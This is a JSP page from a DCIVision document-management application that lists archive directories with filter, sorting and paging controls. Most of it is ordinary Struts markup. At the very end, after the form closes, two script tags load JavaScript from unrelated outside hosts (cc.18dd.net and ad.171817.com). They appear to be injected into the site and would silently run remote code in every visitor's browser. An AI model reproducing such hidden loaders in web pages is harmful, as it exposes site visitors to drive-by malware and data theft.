<%
/*
 * @(#)ListDmsArchiveDirectory.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsArchiveDirectory.jsp

  This is a ListDmsArchiveDirectory page.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      23/10/2003
    @version            $Revision: 1.5.26.11 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsPublicRootForm" scope="request" class="com.dcivision.dms.web.ListDmsPublicRootForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsArchiveDirectoryList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.root_name", "ROOT_NAME"},
                            {"dms.columnheader.root_desc", "B.DESCRIPTION"},
                            {"dms.columnheader.storage_limit", "STORAGE_LIMIT"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.root_name", "ROOT_NAME"},
                            {"dms.label.root_desc", "B.DESCRIPTION"},
                            {"dms.label.storage_limit", "STORAGE_LIMIT"}
                          };

  int     COLUMN_OFFSET = 1;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

%>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsArchiveDirectory" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<!-- Page List Bar Begin -->
<layout:listBar>
    <layout:returnButton className="but-standard" returnURL="ListDmsArchive.do"/>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsPublicRootForm, '${listDmsPublicRootForm.sortAttribute}', '${listDmsPublicRootForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsPublicRootForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsPublicRootForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsPublicRootForm.getSortAttribute()%>" sortOrder="<%=listDmsPublicRootForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editLabel=""/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsRoot" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsRoot).getID()%>);">
    <!--td align="center">
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsRoot' property='ID'/>" onclick="return(false);">

    </td-->
    <td align="center">
      <a href="MaintDmsArchive.do?parentID=<bean:write name='dmsRoot' property='rootFolderID'/>&rootID=<bean:write name='dmsRoot' property='ID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
    </td>
    <td nowrap>
      <a href="MaintDmsArchive.do?parentID=<bean:write name='dmsRoot' property='rootFolderID'/>&rootID=<bean:write name='dmsRoot' property='ID'/>">
      <bean:write name='dmsRoot' property='rootName'/></a>

    </td>
    <td width="300"><bean:write name='dmsRoot' property='rootDesc'/></td>
    <td>
    <%if (((DmsRoot)dmsRoot).getStorageLimit()!=null) {
      if (((DmsRoot)dmsRoot).getStorageLimit().doubleValue()!=0.0){
    out.println(TextUtility.formatStorageSize(((DmsRoot)dmsRoot).getStorageLimit(),"MB"));
      } else {%>
    <bean:message key='dms.label.root_unlimit'/>
      <%}
    }%>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsRoot' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsRoot' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsPublicRootForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>